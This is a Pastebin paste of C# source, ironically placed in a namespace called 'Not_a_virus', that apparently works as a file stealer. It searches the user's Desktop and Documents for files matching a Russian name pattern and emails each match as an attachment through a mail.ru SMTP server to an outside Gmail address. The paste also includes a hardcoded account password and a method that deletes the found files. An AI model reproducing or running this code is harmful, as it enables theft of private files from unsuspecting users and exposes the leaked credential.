Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Collections.Generic;
- using System.Net.Mail;
- using System.Net;
- using System.Threading;
- namespace Not_a_virus
- {
- class Program
- {
- static void Main(string[] args)
- {
- Bomber bomb = new Bomber();
- bomb.SearchAll(bomb.Catalog);
- bomb.SearchTop(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments));
- bomb.Send();
- Console.ReadKey();
- }
- class Bomber
- {
- public string Catalog { set; get; }
- public string File { set; get; }
- private List<FileInfo> path = new List<FileInfo>(20);
- public Bomber()
- {
- Catalog = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
- File = "*Кур*doc*";
- path = new List<FileInfo>(20);
- }
- public Bomber(string file)
- {
- File = file;
- path = new List<FileInfo>(20);
- }
- public Bomber(string file, string dir)
- {
- File = file;
- Catalog = dir;
- path = new List<FileInfo>(20);
- }
- public void SearchAll(string catalog)
- {
- foreach (string findedFile in Directory.EnumerateFiles(catalog, File,
- SearchOption.AllDirectories))
- {
- FileInfo FI;
- try
- {
- FI = new FileInfo(findedFile);
- Console.WriteLine(FI.Name + " " + FI.FullName + " " + FI.Length + "_байт" +
- " Создан: " + FI.CreationTime);
- path.Add(FI);
- }
- catch
- {
- continue;
- }
- }
- }
- public void SearchTop(string catalog)
- {
- foreach (string findedFile in Directory.EnumerateFiles(catalog, File,
- SearchOption.TopDirectoryOnly))
- {
- FileInfo FI;
- try
- {
- FI = new FileInfo(findedFile);
- Console.WriteLine(FI.Name + " " + FI.FullName + " " + FI.Length + "_байт" +
- " Создан: " + FI.CreationTime);
- }
- catch
- {
- continue;
- }
- }
- }
- public void Send()
- {
- MailAddress from = new MailAddress("Roma9633.94@mail.ru", "Friend");
- MailAddress to = new MailAddress("antonionrus@gmail.com");
- MailMessage mes = new MailMessage(from, to);
- mes.Subject = "Доклад разведки";
- mes.Body = "Вам доставлен файл\n";
- mes.IsBodyHtml = true;
- SmtpClient smtp = new SmtpClient("smtp.mail.ru", 25);
- smtp.Credentials = new NetworkCredential("Roma9633.94@mail.ru", "qwertyuqw");
- smtp.EnableSsl = true;
- foreach (FileInfo FI in path)
- {
- mes.Attachments.Add(new Attachment(FI.FullName));
- smtp.Send(mes);
- Thread.Sleep(5000);
- }
- Console.WriteLine("Письмо отправлено");
- }
- public void Remove()
- {
- foreach (FileInfo FI in path)
- {
- FI.Delete();
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement